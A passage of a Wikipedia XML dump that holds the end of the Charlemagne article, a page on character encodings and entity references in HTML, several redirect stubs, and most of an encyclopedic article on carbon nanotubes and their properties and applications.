# {{note|1}}His name in [[English language|English]], Charlemagne, is identical to the [[French language|French]] from, which in turn comes from the Latin.  The French translation of Charles the Great is ''Charles le Grand'', which is used.  In [[German language|German]], he is called ''Karl der Große'' or ''Karl der Grosse'', which means Charles the Great; likewise in [[Dutch]], ''Karel de Grote''.  His name in other [[Romance language]]s, like [[Italian language|Italian]] and [[Spanish language|Spanish]] ''Carlomagno'', is derived, of course, from the Latin.  In other [[Germanic language]]s and [[Slavic language]]s, it is usually a translation of Charles the Great (Carolus Magnus).  Many of the Slavic languages took their word for king from the German name for Charlemagne, Karl: [[Czech language|Czech]] ''král'', [[South Slavic]] (such as [[Slovenian language|Slovenian]] or [[Serbo-Croatian]]) ''kralj'', [[Polish language|Polish]] ''król'', etc.

==See also==
{{Commons|Charlemagne}}
* [[List of Frankish Kings]]
* [[Carolingian]]s
* [[Carolingian script]]
* [[Carolingian Renaissance]]
* [[Attila the Hun to Charlemagne]], hypothetical genealogy
* [[Chanson de Roland]]
* [[Matter of France]]
* [[Nine Worthies]]
* [[History of elephants in Europe]]

==Sources==
*[[Charles Oman|Oman, Charles]]. ''The Dark Ages 476-918''. [[London]], [[1914]].
*Santosuosso, Antonio. ''Barbarians, Marauders, and Infidels: The Ways of Medieval Warfare''. [[Boulder, Colorado|Boulder]], [[2004]].
*Painter, Sidney. ''A History of the Middle Ages 284-1500''. [[New York, New York|New York]], [[1953]].
*[[Einhard]], translated by Samuel Epes Turner. [http://www.fordham.edu/halsall/basis/einhard.html ''The Life of Charlemagne'']. [[New York]], [[1880]].

==Further reading==
*[[Barbero, Alessandro]]. ''Charlemagne, father of a continent''. [[Berkeley, California|Berkeley]], [[california|CA]]: [[University of California]] Press, [[2004]]. ISBN 0-520-23943-1
*[[Henri Pirenne|Pirenne, Henri]]. ''Mohammed and Charlemagne''. [[1937]].
* Langston, A.L. and Buck Jr, J. O. (ed) ''Pedigrees of Some of the Emperor Charlemagne's Descendants''. [[Cottonport]], [[1974]], for the Order of the Crown of Charlemagne in the [[USA]], Library of Congress Catalog Card Number 42-11037.

==External links==
* [http://www.fordham.edu/halsall/basis/einhard.html ''The Life of Charlemagne''] by Einhard. At Medieval Sourcebook.
* [http://www.thelatinlibrary.com/ein.html ''Vita Karoli Magni''] by Einhard. [[Latin]] text at [[The Latin Library]].
* A reconstructed [http://www.reportret.info/gallery/charlemagne1.html portrait of Charlemagne], based on historical sources, in a contemporary style.
* [http://www.ac.wwu.edu/~stephan/Rulers/charlemagne.html House of Pepin]: Genealogy of Charlemagne.
* [http://www.badley.info/history/Charlamagne-I-the-Great-France.biog.html Charlemagne Chronology].

[[Category:740s births]]
[[Category:814 deaths]]
[[Category:Frankish kings]]
[[Category:Holy Roman emperors]]
[[Category:Kings of Burgundy]]
[[Category:Matter of France]]
[[Category:Nine Worthies]]

{{Link FA|sv}}

[[ast:Carlomagno]]
[[bg:Карл Велики]]
[[br:Karl Veur]]
[[ca:Carlemany]]
[[cs:Karel Veliký]]
[[cy:Siarlymaen]]
[[da:Karl den Store]]
[[de:Karl der Große]]
[[et:Karl Suur]]
[[el:Καρλομάγνος]]
[[es:Carlomagno]]
[[eo:Karolo la Granda]]
[[fa:شارلمانی]]
[[fr:Charlemagne]]
[[gd:Charlemagne]]
[[gl:Carlomagno]]
[[ko:카롤루스 대제]]
[[hr:Karlo Veliki]]
[[io:Karl la Granda]]
[[is:Karlamagnús]]
[[it:Carlomagno]]
[[he:קרל הגדול]]
[[ka:შარლემანი]]
[[la:Carolus Magnus]]
[[hu:Nagy Károly]]
[[nl:Karel de Grote]]
[[nds:Karl de Grote]]
[[ja:カール大帝]]
[[no:Karl I av det tysk-romerske rike]]
[[nn:Karl den store]]
[[pl:Karol Wielki]]
[[pt:Carlos Magno]]
[[ro:Carol cel Mare]]
[[ru:Карл Великий]]
[[simple:Charlemagne]]
[[sl:Karel Veliki]]
[[sr:Карло Велики]]
[[fi:Kaarle Suuri]]
[[sv:Karl den store]]
[[uk:Карл І Великий]]
[[wa:Tchårlumagne]]
[[zh:查理大帝]]</text>
    </revision>
  </page>
  <page>
    <title>Character encodings in HTML</title>
    <id>5315</id>
    <revision>
      <id>39327712</id>
      <timestamp>2006-02-12T10:45:34Z</timestamp>
      <contributor>
        <ip>219.78.16.104</ip>
      </contributor>
      <text xml:space="preserve">{{Html series}}
[[HTML]] has been in use since [[1991]], but the first standardized version with a reasonably complete treatment of international characters was version 4.0, not published until 1997. Considerable care must be exercised when creating HTML pages with special characters outside the range of seven-bit [[ASCII]] to ensure two goals: the integrity of the information stored in the HTML document, and proper display of the document by the largest possible variety of browsers.  

==The document character encoding==
When HTML documents are served to the viewer, there are three ways to tell the browser what specific character encoding is used.  First, [[HTTP]] headers can be sent by the server along with each page.  A typical header looks like this:

 Content-Type: text/html; charset=ISO-8859-1

For [[HTML]] (not usually [[XHTML]]), the other method is for the HTML document to include this information at its top, inside the &lt;code&gt;HEAD&lt;/code&gt; element.

 &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=US-ASCII&quot;&amp;gt;

[[XHTML]] documents have a third option: to express the character encoding in the [[XML]] preamble, for example

 &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&amp;gt;

Each of these method advises the receiver that the file being sent uses the character encoding specified.  The character encoding is often referred to as the 'character set' and it indeed does limit the characters in the raw source text. However the HTML standard states that the &quot;charset&quot; is to be treated as an encoding of [[unicode]] characters and provides a way to specify characters that the &quot;charset&quot; does not cover. The term [[Code page]] is also used similarly.

It is a bad idea to send incorrect information about the character encoding in use. For example, a server where multiple users may place files created on different machines cannot promise that all the files it sends will conform (some users may have machines with different character sets).  For this reason, many servers simply do not send the information at all, to avoid making any false promises. This however may result in the equally bad situation of the [[user agent]] displaying the document wrongly because it does not know which character encoding to use.

The specification in the HTTP headers ''overrides'' a specification in a meta element in the document itself, which can be a problem if the headers are incorrect and one does not have the access or the knowledge to change them.

Browsers receiving a file with no character encoding information must make a blind assumption.  For Western European languages, it is typical and fairly safe to assume [[windows-1252#Windows-1252|windows-1252]] (which is similar to [[ISO-8859-1]] but has printable characters in place of some control codes that are forbidden in HTML anyway), but it is also common for browsers to assume the character set native to the machine on which they are running.  The consequence of choosing incorrectly is that characters outside the printable ASCII range (32 to 126) usually appear incorrectly.  This presents few problems for English-speaking users, but other languages require characters outside that range for everyday use. In [[CJK]] environments where there are several different multibyte encodings in use, autodetection is often employed.

It is increasingly common for multilingual websites to use one of the [[Unicode]]/[[ISO 10646]] [[unicode transformation format|transformation formats]], as this allows use of the same encoding for all languages. Generally [[UTF-8]] is used rather than [[UTF-16]] or [[UTF-32]] because it is easier to handle in programming languages that assume a byte-oriented ASCII superset encoding, and it is efficient for ASCII-heavy text (which HTML tends to be).

Successful viewing of a page is not necessarily an indication that its encoding is specified correctly.  If the creator of a page and the reader are both assuming some machine-specific character encoding, and the server does not send any identifying information, then the reader will nonetheless see the page as the creator intended, but other readers with different native sets will not.

==Character references==
{{main articles|[[character entity reference]] and [[numeric character reference]]}}

In addition to native character encodings, characters can also be encoded as '''character references''', which can be '''numeric character references''' (decimal or hexadecimal) or '''character entity references'''. Character entity references are also sometimes referred to as '''named entities''', or '''HTML entities''' for HTML. Usage of character references derives from [[SGML]].  

Character entity references have the format &lt;tt&gt;&amp;amp;''name'';&lt;/tt&gt; where &quot;name&quot; is a case-sensitive alphanumeric string. For example, the character '&amp;lambda;' can be encoded as &lt;code&gt;&amp;amp;lambda;&lt;/code&gt; in an HTML 4 document. Characters &amp;lt;, &amp;gt;, &amp;quot; and &amp;amp; are used to delimit tags, attribute values, and character references. Character entity references  &lt;tt&gt;&amp;amp;lt;&lt;/tt&gt;, &lt;tt&gt;&amp;amp;gt;&lt;/tt&gt;, &lt;tt&gt;&amp;amp;quot;&lt;/tt&gt; and &lt;tt&gt;&amp;amp;amp;&lt;/tt&gt;, which are predefined in HTML, XML, and SGML, can be used instead for literal representations of the characters.

Numeric character references can be in decimal format, &lt;tt&gt;&amp;#''DDD'';&lt;/tt&gt;, where &quot;DDD&quot; is a variable width string of decimal digits. Similarly there is a hexadecimal format, &lt;tt&gt;&amp;#x''HHH'';&lt;/tt&gt;, where &quot;HHH&quot; is a variable width string of hexadecimal digits. Unlike named entities, hexadecimal character references are case-insensitive in HTML. For example, &amp;lambda; can also be represented as &lt;code&gt;&amp;amp;#955;&lt;/code&gt;, &lt;tt&gt;&amp;amp;#x3BB;&lt;/tt&gt; or &lt;tt&gt;&amp;amp;#X3bb;&lt;/tt&gt;.

Numeric references ''always'' refer to [[Unicode]] values, irrespective of page encoding. Using numeric references which lie within the reserved control area of Unicode is therefore illegal. That is, all characters in the ([[hexadecimal|hex]]) ranges 00–1F, 7F, and 80–9F, or &amp;amp;#0; to &amp;amp;#31; and &amp;amp;#127; to &amp;amp;#159;.

Unnecessary use of HTML character references may significantly reduce the readability of HTML. If the character encoding for a web page is chosen appropriately then HTML character references are usually only required for a few special characters.

===XML character entity references===
Unlike traditional HTML with its large range of character entity references, in [[XML]] there are only five predefined character entity references. These are used to escape characters that are markup sensitive in certain contexts:

* &amp;amp;amp; = &amp;amp; (ampersand, U+0026)
* &amp;amp;lt; = &amp;lt; (left angle bracket, less-than sign, U+003C)
* &amp;amp;gt; = &amp;gt; (right angle bracket, greater-than sign, U+003E)
* &amp;amp;quot; = &quot; (quotation mark, U+0022)
* &amp;amp;apos; = ' (apostrophe, U+0027)

All other character entity references have to be defined before they can be used. For example, use of &amp;amp;eacute; (which gives &amp;#233;, Latin small letter E with acute, U+00E9, in HTML) in an XML document will generate an error unless the entity has already been defined. XML also requires that the x in hexadecimal numeric references be in lowercase: for example &lt;tt&gt;&amp;amp;#xA1b&lt;/tt&gt; rather than &lt;tt&gt;&amp;amp;#XA1b&lt;/tt&gt;.
[[XHTML]], which is an XML application, supports the HTML 4 entity set and XML's &amp;amp;apos; entity, which does not appear in HTML 4.

However, use of &amp;amp;apos; in XHTML should generally be avoided for compatibility reasons.

===HTML character entity references===
For a list of all HTML character entity references, see '''[[List of XML and HTML character entity references]]''' (approx. 250 entries).

For a list of all HTML decimal character references, see '''[[List of HTML decimal character references]]'''. (approx. 10,000 entries).

==External links==
*[http://www.w3.org/TR/REC-html40/sgml/entities.html Character entity references in HTML 4]
*[http://www.fjordaan.uklinux.net/entities/entities_support.html A Simple Character Entity Chart: Browser support table]
*[http://kmi.open.ac.uk/projects/ceryle/doc/docs/NOTE-charents.html Character Entities for XHTML]
*[http://www.webreference.com/html/reference/character/ HTML Character Reference — HTML with Style — Webreference.com]
*[http://www.natural-innovations.com/wa/doc-charset.html HTML Document Character Set Table]
*[http://www.webmaster-toolkit.com/html-entity-chart.shtml HTML Entity Chart]
*[http://www.redbrick.dcu.ie/help/reference/html-tags/characters.html HTML Tag List: Character set and special characters]



*[http://ascii.cl/htmlcodes.htm HTML Codes - List of characters and symbols]

[[Category:HTML]]

[[nl:Character Entity Reference]]
[[zh:HTML&amp;#23383;&amp;#31526;&amp;#32534;&amp;#30721;]]</text>
    </revision>
  </page>
  <page>
    <title>Computer/bus</title>
    <id>5317</id>
    <revision>
      <id>15903530</id>
      <timestamp>2002-10-25T22:48:43Z</timestamp>
      <contributor>
        <ip>217.158.106.78</ip>
      </contributor>
      <comment>removed extraneous text</comment>
      <text xml:space="preserve">#REDIRECT [[Computer_bus]]</text>
    </revision>
  </page>
  <page>
    <title>Computer/Time-sharing</title>
    <id>5318</id>
    <revision>
      <id>15903531</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Time-sharing]]

:''See also :'' [[Computer]]</text>
    </revision>
  </page>
  <page>
    <title>Computer/Multitasking</title>
    <id>5319</id>
    <revision>
      <id>15903532</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Computer multitasking]]

:''See also :'' [[Computer]]</text>
    </revision>
  </page>
  <page>
    <title>Carbon nanotube</title>
    <id>5320</id>
    <revision>
      <id>41757064</id>
      <timestamp>2006-03-01T14:58:05Z</timestamp>
      <contributor>
        <username>DanielCD</username>
        <id>81016</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.182.56.6|216.182.56.6]] ([[User talk:216.182.56.6|talk]]) to last version by XLerate</comment>
      <text xml:space="preserve">[[Image:Types_of_Carbon_Nanotubes.png|thumb|330px|3D model of three types of single-walled carbon nanotubes.]]
[[Image: Kohlenstoffnanoroehre_Animation.gif |thumb|330px|This animation of a rotating Carbon nanotube shows its 3D structure.]]
'''Carbon nanotubes''' are cylindrical [[carbon]] [[molecules]] with novel properties that make them potentially useful in a wide variety of applications (e.g., nano-electronics, [[optics]], [[materials]] applications, etc.). They exhibit extraordinary strength and unique [[electricity|electrical]] properties, and are efficient conductors of [[heat]]. [[Inorganic nanotubes]] have also been synthesized.

A nanotube (also known as a buckytube) is a member of the [[fullerene]] structural family, which also includes [[Buckyball#Buckminsterfullerene|buckyballs]]. Whereas buckyballs are [[spherical]] in shape, a nanotube is [[cylinder (geometry)|cylindrical]], with at least one end typically capped with a hemisphere of the buckyball structure. Their name is derived from their size, since the diameter of a nanotube is on the order of a few [[nanometer]]s (approximately 50,000 times smaller than the width of a human hair), while they can be up to several centimeters in length. There are two main types of nanotubes: [[single-walled nanotubes]] (SWNTs) and [[multi-walled nanotubes]] (MWNTs).

Nanotubes are composed entirely of [[sp² bond]]s, similar to those of [[graphite]]. This bonding structure, stronger than the sp³ bonds found in [[diamond]],  provides the molecules with their unique strength. Nanotubes naturally align themselves into &quot;ropes&quot; held together by [[Van der Waals force]]s. Under high pressure, nanotubes can merge together, trading some sp² bonds for sp³ bonds, giving great possibility for producing strong, unlimited-length wires through high-pressure nanotube linking. [http://www.ncnr.nist.gov/staff/taner/nanotube/interlink.pdf]

While it has long been known that [[carbon fiber]]s can be produced with a carbon arc, and patents were issued for the process, it was not until 1991 that [[Sumio Iijima]], a researcher with the [[NEC Corporation|NEC]] Laboratory in Tsukuba, Japan, observed that these fibers were hollow. This feature of nanotubes is of great interest to [[physics|physicists]] because it permits experiments in one-dimensional [[quantum physics]]. 

==Single-walled nanotubes==
[[Image:CNTnames.png|thumb|300px|The (''n'',''m'') nanotube naming scheme can be thought of as a vector ('''C'''&lt;sub&gt;h&lt;/sub&gt;) in an infinite graphene sheet that describes how to 'roll up' to graphene sheet to make the nanotube. '''T''' denotes the tube axis, and '''a'''&lt;sub&gt;1&lt;/sub&gt; and '''a'''&lt;sub&gt;2&lt;/sub&gt; are the unit vectors of graphene in real space.]]

Most SWNTs have a diameter of close to 1nm, with a tube length that can be many thousands of times larger. SWNTs with length up to orders of centimeters have been produced (Zhu, et al., 2002). The structure of a SWNT can be conceptualized by wrapping a one-atom-thick layer of [[graphite]] (called [[graphene]]) into a seamless cylinder. The way the graphene sheet is wrapped is represented by a pair of indices (''n'',''m'') called the chiral vector.  The integers ''n'' and ''m'' denote the number of unit [[vector (spatial)|vector]]s along two directions in the honeycomb [[crystal lattice]] of graphene.  If ''m''=0, the nanotubes are called &quot;zigzag&quot;. If ''n''=''m'', the nanotubes are called &quot;armchair&quot;.  Otherwise, they are called &quot;chiral&quot;.


SWNTs are a very important variety of carbon nanotube because they exhibit important electric properties that are not shared by the multi-walled carbon nanotube (MWNT) variants. SWNTs are the most likely candidate for miniaturizing electronics past the microelectromechanical scale that is currently the basis of modern electronics. The most basic building block of these systems is the electric wire, and SWNTs can be excellent conductors. (Dekker, et al., 1999) One useful application of SWNTs is in the development of the first intramolecular field effect transistors (FETs). The production of the first intramolecular logic gate using SWNT FETs has recently become possible as well (Derycke, et al., 2001). To create a logic gate you must have both a p-FET and an n-FET. Because SWNTs are p-FETs when exposed to air and n-FETs when unexposed to oxygen, they were able to protect half of a SWNT from oxygen exposure, while exposing the other half to oxygen. The result was a single SWNT that acted as a NOT logic gate with both p and n-type FETs within the same molecule.

SWNTs are still very expensive to produce, and the development of more affordable synthesis techniques is vital to the future of carbon nanotechnology. If cheaper means of synthesis cannot be discovered, it would make it financially impossible to apply this technology to commercial-scale applications.

==Multi-walled carbon nanotubes==
Multiwalled nanotubes (MWNT) consist of multiple layers of graphite rolled in on themselves to form a tube shape. There are two models which can be used to describe the structures of multiwalled nanotubes. In the ''[[Matryoshka doll|Russian Doll]]'' model, sheets of graphite are arranged in concentric cylinders, eg a (0,8) SWNT within a larger (0,10) SWNT. In the ''[[Scroll (parchment)|Parchment]]'' model, a single sheet of graphite is rolled in around itself , resembling a scroll of parchment or a rolled up newspaper.

==Properties==

====Strength====
Carbon nanotubes are one of the strongest materials known to man, both in terms of [[tensile strength]] and [[elastic modulus]].  This strength results from the the covalent sp^2 bonds formed between the individual carbon atoms.  In 2000, a SWNT was tested to have a tensile strength of 63 [[Pascal|GPa]]. In comparison, high-carbon steel has a tensile strength of approximately 1.2 GPa. CNTs also have very high [[elastic modulus]], in the order of 1 TPa [http://ipn2.epfl.ch/CHBU/papers/ourpapers/Forro_NT99.pdf]. Since carbon nanotubes have relatively low density, the strength to weight ratio is therefore truly exceptional.

Under excessive tensile strain, the tubes will undergo plastic deformation, which means the deformation is permanent. This deformation begins at strains of approximately 5% [Qian et al, 2002] and can increase the maximum strain the tube undergoes before fracture by releasing strain energy. 

CNTs are not nearly as strong under compression. Due to their hollow structure, they tend to undergo buckling, when placed under compressive, torsional or bending stress.

====Dynamic properties====
Multiwalled carbon nanotubes, multiple concentric nanotubes precisely nested within one another, exhibit a striking telescoping property whereby an inner nanotube core may slide, almost without friction, within its outer nanotube shell thus creating an atomically perfect linear or rotational bearing.  This is one of the first true examples of [[molecular nanotechnology]], the precise positioning of atoms to create useful machines.  Already this property has been utilized to create the world's smallest rotational motor and a nanorheostat.  Future applications such as a gigahertz mechanical oscillator are envisioned.

===Electrical===
Due to the symmetry and unique electronic structure of graphene, the structure of a nanotube strongly affects its electrical properties.  For a given (''n'',''m'') nanotube, if  2''n'' + ''m''=3''q'' (where ''q'' is an integer), then the nanotube is [[metallic]], otherwise the nanotube is a [[semiconductor]]. Thus all armchair (''n''=''m'') nanotubes are metallic, and nanotubes (5,0), (6,4), (9,1), etc. are semiconducting. An alternative (equivalent) representation of this condition is if (''n'' -  ''m'') /3=integer, then the SWNT is metallic. In theory, metallic nanotubes can have an electrical current density more than 1,000 times stronger than metals such as [[silver]] and [[copper]]. 

===Thermal===
All nanotubes are expected to be very good thermal conductors along the tube,  exhibiting a property known as &quot;[[ballistic conduction]],&quot; but good insulators laterally to the tube axis.

==Defects==

As with any material, the existence of defects affect the material properties. Defects can occur in the form of atomic vacancies. High levels of such defects can lower the tensile strength by up to 85% [http://lib.tkk.fi/Diss/2004/isbn9512273799/article5.pdf]. Due to the almost one-dimensional structure of CNTs, the tensile strength of the tube is dependent on the weakest segment of it in a similar manner to a chain, where a defect in a single link will greatly diminish the strength of the entire chain. 

In terms of the tube's electrical properties, they too are affected by the presence of defects. A common result is the lowered conductivity through the defected region of the tube. Some defect formation in armchair type tubes (which are metallic) can cause the region surrounding that defect to become semiconducting. Futhermore single monoatomic vacancies induce magnetic properties.

==Synthesis==
Techniques have been developed to produce nanotubes in sizeable quantities, including [[arc discharge]], [[laser ablation]], high pressure carbon monoxide ([[HiPco]]), and [[chemical vapor deposition]] (CVD). Of these, the CVD method has shown the most promise in terms of its price/unit ratio. It generally involves reacting a carbon-containing gas (such as [[acetylene]], [[ethylene]], [[ethanol]], etc.) with a metal catalyst particle (usually [[cobalt]], [[nickel]], [[iron]] or a combination of these such as cobalt/iron or cobalt/molybdenium) at temperatures above 600°C. Unfortunately, although these methods can produce large quantities of nanotubes, their cost still precludes any large-scale applications.

[[Fullerene | Fullerenes]] and carbon nanotubes are not necessarily products of high-tech laboratories; they are commonly formed in such mundane places as candle flames. However, these naturally occurring varieties, due to the highly uncontrolled environment in which they're produced, are highly irregular in size and quality, lacking the high degree of uniformity necessary to meet the needs of both research and industry.

==Applications==
[[Image:Louie nanotube.jpg|thumb||330px|An electronic device known as a [[diode]] have been proposed to be formed by joining two nanoscale carbon tubes with different electronic properties.]]
The strength and flexibility of carbon nanotubes makes them of potential use in controlling other nanoscale structures, which suggests they will have an important role in [[nanotechnology]] engineering. The highest [[tensile strength]] an individual SWNT has been tested to be is 63 [[Pascal|GPa]] [http://www.google.com/search?hl=en&amp;ie=ISO-8859-1&amp;q=nanotubes+%22tensile+strength%22+%2263+GPa%22&amp;btnG=Google+Search]. In Earth's upper atmosphere, atomic [[oxygen]] erodes the carbon nanotubes, but other applications of carbon nanotubes rarely need the surface to be protected. Though it is debatable if nanotube materials can ever be made with a tensile strength approaching that of individual tubes, composites may still yield incredible strengths potentially sufficient to allow the building of such things as [[space elevator]]s, artificial muscles, ultrahigh-speed flywheels, and more. MIT is working on combat jackets utilizing carbon nanotubes for ultrastrong fibers and for monitoring its wearer's condition.

Carbon nanotubes have already been used as composite fibers in [[polymers]] and [[concrete]] to improve the mechanical, thermal and electrical properties of the bulk product. Researchers have also found that adding them to [[polyethylene]] increases the polymer's [[elastic modulus]] by 30%.  In concrete, they increase the tensile strength, and halt crack propagation.

Conductive carbon nanotubes have been used for several years in brushes for commercial electric motors.  They replace traditional [[carbon black]], which is mostly impure spherical carbon fullerenes.  The nanotubes improve electrical and thermal conductivity because they stretch through the plastic matrix of the brush.  This permits the carbon filler to be reduced from 30% down to 3.6%, so that more matrix is present in the brush.  Nanotube composite motor brushes are better-lubricated (from the matrix), cooler-running (both from better lubrication and superior thermal conductivity), less brittle (more matrix, and fiber reinforcement), stronger and more accurately moldable (more matrix).  Since brushes are a critical failure point in electric motors, and also don't need much material, they became economical before almost any other application.

A recent 2005 Science paper notes that drawing transparent high strength swathes of SWNT is a functional production technique. These conductive elastic materials are among the many applications listed here of photovoltaic active structures as well as load structures.

Carbon nanotubes additionally can also be used to produce nanowires of other chemicals, such as gold or zinc oxide. These nanowires in turn can be used to cast nanotubes of other chemicals, such as gallium nitride. These can have very different properties from CNTs - for example, gallium nitride nanotubes are hydrophilic, while CNTs are hydrophobic, giving them possible uses in organic chemistry that CNTs could not be used for.

One use for nanotubes that has already been developed is as extremely fine electron guns, which could be used as miniature [[cathode ray tube]]s in thin high-brightness low-energy low-weight displays. This type of display would consist of a group of many tiny CRTs, each providing the [[electron]]s to hit the [[phosphor]] of one [[pixel]], instead of having one giant CRT whose electrons are aimed using electric and [[magnetic field]]s. These displays are known as [[field emission display]]s (FEDs). A nanotube formed by joining nanotubes of two different diameters end to end can act as a [[diode]], suggesting the possibility of constructing electronic computer circuits entirely out of nanotubes. Nanotubes have been shown to be [[superconductivity|superconducting]] at low temperatures.

Nanotubes can be opened and filled with materials such as [[molecules|biological molecules]], raising the possibility of applications in [[biotechnology]]. They can be used to dissipate heat from tiny computer chips.

==Carbon nanotube fiber &amp; film==
One application for nanotubes that is currently being researched is high [[tensile strength]] [[fiber]]s. Two methods are currently being tested for the manufacture of such fibers. A French team has developed a liquid spun system that involves pulling a fiber of nanotubes from a bath which yields a product that is approximately 60% nanotubes. The other method, which is simpler but produces weaker fibers uses traditional melt-drawn [[polymer]] fiber techniques with nanotubes mixed in the [[polymer]]. After drawing, the fibers can have the polymer burned out of them to make them purely nanotube or they can be left as they are. 

Ray Baughman's group from the [[NanoTech Institute]] at [[University of Texas at Dallas]] produced the current toughest material known in mid-2003 by spinning fibers of single wall carbon nanotubes with [[polyvinyl alcohol]]. Beating the previous contender, [[spider silk]], by a factor of four, the fibers require 600 [[Joule|J]]/[[gram|g]] to break. In comparison, the bullet-resistant fiber [[Kevlar]] is 27-33J/g.  In mid-2005 Baughman and co-workers from [[Australia]]'s [[Commonwealth Scientific and Industrial Research Organization]] developed a method for producing transparent carbon nanotube sheets 1/1000th the thickness of a human hair capable of supporting 50,000 times their own mass.
In August 2005, Ray Baughman's team managed to develop a fast method to manufacture up to seven meters per minute of nanotube tape [http://www.worldchanging.com/archives/003330.html]. Once washed with [[ethanol]], the ribbon is only 50 [[nanometer]]s thick; a square kilometer of the material would only weigh 30 kilograms.

In 2004 Alan Windle's group of scientists at the [[Cambridge-MIT Institute]] developed a way to make carbon nanotube fiber continuously at the speed of several centimetres per second just as nanotubes are produced. One thread of carbon nanotubes was more than 100 metres long. The resulting fibers are electrically conductive and as strong as ordinary textile threads. [http://news.bbc.co.uk/2/hi/science/nature/3872931.stm]
[http://www.newscientist.com/news/news.jsp?id=ns99994769]

==Current progress==
* April 2001, [[International Business Machines|IBM]] announced it had developed a technique for automatically developing pure [[semiconductor]] surfaces from nanotubes.
*[[September 19]] [[2003]], [[NEC Corporation]], [[Japan]], [http://www.nec.co.jp/press/en/0309/1901.html announced] stable fabrication technology of carbon nanotube transistors.
* 2002, REBO method of quickly and accurately modeling classical nanotube behavior is described. [http://sinnott.mse.ufl.edu/sub05b_nanomechanics.html]
* 2002, multi-walled nanotubes demonstrated to be fastest known oscillators (&gt; 50 GHz) [http://focus.aps.org/story/v9/st4]
*June 2003, High purity (80%) nanotubes with metallic properties were reported to be extracted with [[electrophoresis|electrophoretic]] techniques. [http://physicsweb.org/article/news/7/6/19/1]
* 2003, nanotubes cost from 20 euro per gram to 1000 euro per gram, depending on purity, composition (single-wall, double-wall, multi-wall) and other characteristics.
* April 2003, bending changes resistance [http://focus.aps.org/story/v11/st15]
* June 2004,  scientists from China's [[Tsinghua University]] and [[Louisiana State University]] demonstrated the use of nanotubes in [[incandescent lamp]]s, replacing a [[tungsten]] [[filament]] in a [[lightbulb]] with a carbon nanotube one.
* 2004, Nature published [http://healthspace.ca/Websites/Staff/AJP/DanglingParticiple.nsf/d6plinks/APRE-6B5UMS a photo] of an individual 4 cm long single-wall nanotube (SWNT).
* August 2004, changing applied voltage emits light at different points along a tube [http://focus.aps.org/story/v14/st8] 
* August 2005, [[General Electric|GE]] announced the development of an ideal carbon nanotube [[diode]] that operates at the &quot;theoretical limit,&quot; or best possible performance. The company also observed a [[photovoltaic effect]] in the nanotube diode device that could lead to breakthroughs in [[solar cell]]s that make them more efficient and a more viable alternative in the mainstream energy market.[http://www.research.ge.com/04_media/news/20050819_cnd.shtml]
* August 2005, 1-meter sheets of nanotubes are made [http://nanotechweb.org/articles/news/4/8/13/1] 
* September 2005, Texas-based Applied Nanotech, in conjunction with six Japanese electronics firms, have created a prototype of a 25-inch TV using carbon nanotubes. The prototype TV does not suffer from &quot;ghosting,&quot; as some types of digital TVs do.
* September 2005, researchers at [[Lawrence Livermore National Laboratory]] demonstrated that [[ignition]] by a conventional [[flashbulb]] takes place when a layer of 29% [[iron]] enriched SWNT is placed on top of a layer of [[explosive]] material such as [[PETN]]. With ordinary explosives optical ignition is only possible with high powered [[laser]]s [http://pubs3.acs.org/acs/journals/doilookup?in_doi=10.1021/ja0547127].
* September 2005, researchers demonstrated a new way to coat MWNT's with [[magnetite]] which after orientation in a [[magnetic field]] were able to attract each other over a distance of at least 10 [[micrometre]]s.  [http://www.rsc.org/Publishing/Journals/CC/article.asp?doi=b506758h]. The nanotubes were functionalized with negatively charged [[carboxylic acid]] groups in an [[AIBN]] type [[free radical addition]]. Magnetite nanoparticles prepared by the [[magnetite|Massart method]] were given a positive charge by washing with [[nitric acid]] which made them stick to the nanotubes by [[electrostatic force]]s.
* 2005, industry report indicates nanotube production will increase by 10 to 100 times in the next 5 years for different types and purity of nanotubes.
* 2004 and 2005, CNI obtains 25 patents. Some of the newest describe the manufacture of high-purity SWNT in arrays and long fibers at moderately low temperatures based on research done in 2001.
* September 2005, Korean scientists lead by [[Pohang University of Science and Technology]] Professor Kim Kwang-Soo succeeded in pulling out a nested tube from a multiwalled nanotube (MWNT), extracted 1 millimeter.
* November 2005, liquid flows 5 times faster than predicted through array [http://nanotechweb.org/articles/news/4/11/8/1]
* January 2006, thin films of nanotubes made by evaporation [http://nanotechweb.org/articles/news/5/1/16/1]
* January 2006, another new method for growing forests of nanotubes is announced [http://nanotechweb.org/articles/news/5/1/4/1] 
* January 2006, elasticity increased from 20% to 280% by raising temperatures, causing diameter and conductivity to change greatly [http://nanotechweb.org/articles/news/5/1/12/1]
[http://cnanotech.com/download_files/Issued_Patents/US06986876.pdf]
* February 2006, Eric Drexler writes paper calling for and describing engineering modeling, not just research modeling of nanotubes
* February 2006, CNI is manufacturing 100 pounds per day of some types of their nanotubes. High-purity &lt;5% ash SWNT (large catalysts removed) was their most expensive (published) type at $2,000 per gram.
* February 2006, prices reduced by 1/2 in a year to $2 per gram in quantities of 1 kg as MWNT, &gt;50nm diameter, 50 micrometers long. [http://www.cheaptubesinc.com/]

==Carbon nanotubes in electrical circuits==

Carbon nanotubes have many properties—from their unique dimensions to an unusual current [[electrical conduction|conduction]] mechanism—that make them ideal components of electrical circuits.  Currently, there is no reliable way to arrange carbon nanotubes into a circuit.

The major hurdles that must be jumped for carbon nanotubes to find prominent places in circuits relate to fabrication difficulties. The production of electrical circuits with carbon nanotubes are very different from the traditional [[Fabrication (semiconductor)|IC fabrication process]]. The IC fabrication process is somewhat like [[sculpture]] - films are deposited onto a wafer and pattern-etched away. Because carbon nanotubes are fundamentally different from films, carbon nanotube circuits can so far not be mass produced.

